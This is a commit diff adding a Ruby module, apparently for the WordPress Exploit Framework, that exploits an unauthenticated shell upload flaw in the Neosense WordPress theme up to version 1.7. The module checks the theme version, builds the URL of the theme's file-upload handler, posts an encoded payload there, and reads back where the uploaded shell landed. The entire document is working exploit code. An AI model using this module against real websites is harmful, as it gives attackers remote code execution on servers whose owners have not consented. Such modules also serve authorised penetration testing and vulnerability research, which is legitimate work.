Add Neosense Theme <= 1.7 shell upload

Author: rastating

modules/exploits/neosense_shell_upload.rb

@@ -0,0 +1,39 @@
+class Wpxf::Exploit::NeosenseShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Neosense Theme <= 1.7 Unauthenticated Shell Upload',
+      author: [
+        'Walter Hop',                     # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8622'],
+        ['URL', 'https://lifeforms.nl/20160919/unrestricted-upload-neosense']
+      ],
+      date: 'Sep 19 2016'
+    )
+  end
+
+  def check
+    check_theme_version_from_style('neosense', '1.8')
+  end
+
+  def uploader_url
+    normalize_uri(wordpress_url_themes, 'neosense', 'js', 'back-end', 'libraries', 'fileuploader', 'upload_handler.php')
+  end
+
+  def payload_body_builder
+    builder = Utility::BodyBuilder.new
+    builder.add_file_from_string('qqfile', payload.encoded, payload_name)
+    builder
+  end
+
+  def uploaded_payload_location
+    result = JSON.parse(upload_result.body)
+    result['url']
+  end
+end